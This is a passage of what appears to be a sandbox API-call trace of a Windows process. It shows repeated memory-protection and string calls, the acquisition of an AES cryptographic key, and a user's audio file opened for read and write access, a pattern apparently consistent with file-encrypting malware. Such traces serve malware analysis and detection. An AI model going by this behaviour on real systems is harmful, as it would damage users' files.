(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.423] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.423] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.423] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.423] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.423] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.423] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.423] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.423] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.424] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.424] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.424] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.424] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.424] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.424] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.424] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.424] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.424] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.424] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.424] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.425] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.425] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.425] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.425] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.425] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.425] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.425] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.425] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.425] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.425] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.425] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.425] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.425] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.425] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.425] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.425] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.426] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.426] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.426] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.426] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.426] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.426] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.426] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.426] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.426] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.426] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.426] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.426] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.426] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.426] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.426] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.426] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.426] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.427] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.427] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.427] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.427] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.427] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.427] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.427] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.427] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.428] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.428] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.428] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.428] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.428] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.428] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.428] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.429] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.430] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0134.430] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396570) returned 1 [0134.431] CryptImportKey (in: hProv=0x4396570, pbData=0x6978d08, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e85378) returned 1 [0134.431] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.431] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.431] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.431] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.431] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.433] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav")) returned 0x20 [0134.433] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav")) returned 0x20 [0134.433] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.433] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.433] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.433] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.433] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.434] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.434] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.434] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.434] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.436] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.436] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.436] GetFileType (hFile=0x858) returned 0x1 [0134.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.436] GetFileType (hFile=0x858) returned 0x1 [0134.436] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.436] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.437] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: 